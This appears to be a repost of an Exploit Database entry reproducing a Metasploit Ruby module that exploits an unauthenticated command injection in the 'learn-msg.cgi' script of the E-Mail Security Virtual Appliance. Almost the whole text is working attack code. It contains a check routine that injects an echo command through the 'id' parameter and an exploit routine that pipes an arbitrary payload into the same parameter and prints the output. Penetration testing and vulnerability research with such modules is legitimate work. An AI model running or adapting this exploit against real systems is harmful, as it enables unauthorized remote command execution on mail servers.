E-Mail Security Virtual Appliance – ‘learn-msg.cgi’ Command Injection (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2012-08-22
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/20712/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "E-Mail Security Virtual Appliance learn-msg.cgi Command Injection",
  			'Description'=> %q{
  					This module exploits a command injection vulnerability found in E-Mail Security
  				Virtual Appliance. This module abuses the learn-msg.cgi file to execute arbitrary
  				OS commands without authentication. This module has been successfully tested on the
  				ESVA_2057 appliance.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'iJoo', # Vulnerability Discovery and PoC
  					'juan vazquez' # Metasploit module
  				],
  			'References' =>
  				[
  					[ 'EDB', '20551' ]
  				],
  			'Payload'=>
  				{
  					'BadChars' => "",
  					'Compat'=>
  						{
  							'PayloadType' => 'cmd',
  							'RequiredCmd' => 'generic perl python',
  						}
  				},
  			'Platform' => ['unix'],
  			'Arch' => ARCH_CMD,
  			'Targets'=>
  				[
  					['ESVA_2057', {}],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Aug 16 2012",
  			'DefaultTarget'=> 0))
  	end
  
  
  	def check
  		clue = Rex::Text::rand_text_alpha(rand(5) + 5)
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> "/cgi-bin/learn-msg.cgi",
  			'vars_get' => {
  				'id' => "|echo #{clue};"
  			}
  		})
  
  		# If the server doesn't return the default redirection, probably something is wrong
  		if res and res.code == 200 and res.body =~ /#{clue}/
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		peer = "#{rhost}:#{rport}"
  
  		print_status("#{peer} - Sending Command injection")
  		res = send_request_cgi({
  			'method' => 'GET',
  			'uri'=> "/cgi-bin/learn-msg.cgi",
  			'vars_get' => {
  				'id' => "|#{payload.raw};"
  			}
  		})
  
  		# If the server doesn't return the default redirection, probably something is wrong
  		if not res or res.code != 200 or res.body !~ /meta http-equiv="refresh" content="0;URL=\/learned.html"/
  			print_error("#{peer} - Probably command not executed, aborting!")
  			return
  		end
  
  		print_good("#{peer} - Command executed successfully")
  		print_status("#{peer} - Output: \n#{res.body.split("Learned tokens")[0]}")
  	end
  
  end